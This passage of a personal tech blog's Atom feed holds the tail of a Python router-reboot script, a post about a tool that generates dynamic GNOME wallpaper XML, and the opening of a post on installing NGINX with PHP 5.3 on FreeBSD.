    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;username&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;boxurl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;boxurl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;BOX_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Base box url.  Default is &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;BOX_URL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse_args&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urlparse&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urljoin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;boxurl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;REBOOT_URL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;reboot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="code"></category></entry><entry><title>Dynamically change your gnome desktop wallpaper</title><link href="https://blog.notmyidea.org/dynamically-change-your-gnome-desktop-wallpaper.html" rel="alternate"></link><published>2010-10-11T00:00:00+02:00</published><updated>2010-10-11T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2010-10-11:/dynamically-change-your-gnome-desktop-wallpaper.html</id><summary type="html">
&lt;p&gt;In gnome, you can can use a &lt;span class="caps"&gt;XML&lt;/span&gt; file to have a dynamic wallpaper. It&amp;#8217;s
not so easy, and you can&amp;#8217;t just tell: use the pictures in this folder to
do&amp;nbsp;so.&lt;/p&gt;
&lt;p&gt;You can have a look to the git repository if you want:
&lt;a href="http://github.com/ametaireau/gnome-background-generator"&gt;http://github.com/ametaireau …&lt;/a&gt;&lt;/p&gt;</summary><content type="html">
&lt;p&gt;In gnome, you can can use a &lt;span class="caps"&gt;XML&lt;/span&gt; file to have a dynamic wallpaper. It&amp;#8217;s
not so easy, and you can&amp;#8217;t just tell: use the pictures in this folder to
do&amp;nbsp;so.&lt;/p&gt;
&lt;p&gt;You can have a look to the git repository if you want:
&lt;a href="http://github.com/ametaireau/gnome-background-generator"&gt;http://github.com/ametaireau/gnome-background-generator&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Some time ago, I&amp;#8217;ve made a little python script to ease that, and you
can now use it too. It&amp;#8217;s named &amp;#8220;gnome-background-generator&amp;#8221;, and you can
install it via pip for&amp;nbsp;instance.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;shell
$ pip install gnome-background-generator
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, you have just to use it this&amp;nbsp;way:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;shell&lt;/span&gt;
&lt;span class="n"&gt;$ gnome-background-generator -p ~/Images/walls -s&lt;/span&gt;
&lt;span class="n"&gt;/home/alexis/Images/walls/dynamic-wallpaper.xml generated&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here is a extract of the&amp;nbsp;`&amp;#8212;help`:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;shell&lt;/span&gt;
&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gnome&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;background&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;generator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;help&lt;/span&gt;
&lt;span class="n"&gt;usage&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gnome&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;background&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;generator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OUTPUT&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRANSITION_TIME&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DISPLAY_TIME&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;simple&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;tool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;generate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;an&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;XML&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gnome&lt;/span&gt;
&lt;span class="n"&gt;wallpapers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;have&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dynamic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;walls&lt;/span&gt;

&lt;span class="n"&gt;optional&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;look&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pictures&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;specified&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;will&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;used&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;too&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;outputing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dynamic&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;wallpaper&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;xml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OUTPUT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OUTPUT&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;specified&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;dynamic&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;wallpaper&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;xml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;will&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;generated&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;containing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pictures&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;You&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;can&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;also&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRANSITION_TIME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;transition&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRANSITION_TIME&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;Time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;transitions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;must&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DISPLAY_TIME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DISPLAY_TIME&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;Time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;picture&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;must&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;displayed&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Default&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;900&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="n"&gt;mn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;background&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&amp;#39;try to set the background using gnome-appearance-&lt;/span&gt;
&lt;span class="s1"&gt;                        properties&lt;/span&gt;
&lt;span class="s1"&gt;  -b, --debug&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="code"></category></entry><entry><title>How to install NGINX + PHP 5.3 on FreeBSD.</title><link href="https://blog.notmyidea.org/how-to-install-nginx-php-53-on-freebsd.html" rel="alternate"></link><published>2010-10-10T00:00:00+02:00</published><updated>2010-10-10T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2010-10-10:/how-to-install-nginx-php-53-on-freebsd.html</id><summary type="html">
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;date&lt;br&gt;&amp;nbsp;2010-10-10&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;category&lt;br&gt;&amp;nbsp;tech&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&amp;#8217;ve not managed so far to get completely rid of php, so here&amp;#8217;s a simple
reminder about how to install php on &lt;span class="caps"&gt;NGINX&lt;/span&gt;, for FreeBSD. Nothing hard,
but that&amp;#8217;s worse to have the piece of configuration somewhere&amp;nbsp;!&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ports&lt;/span&gt;
&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;portsnap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;update …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;date&lt;br&gt;&amp;nbsp;2010-10-10&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;category&lt;br&gt;&amp;nbsp;tech&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&amp;#8217;ve not managed so far to get completely rid of php, so here&amp;#8217;s a simple
reminder about how to install php on &lt;span class="caps"&gt;NGINX&lt;/span&gt;, for FreeBSD. Nothing hard,
but that&amp;#8217;s worse to have the piece of configuration somewhere&amp;nbsp;!&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ports&lt;/span&gt;
&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;portsnap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;

&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;php5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;port&lt;/span&gt;
&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;make&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;recursive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;php5&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;extensions&lt;/span&gt;
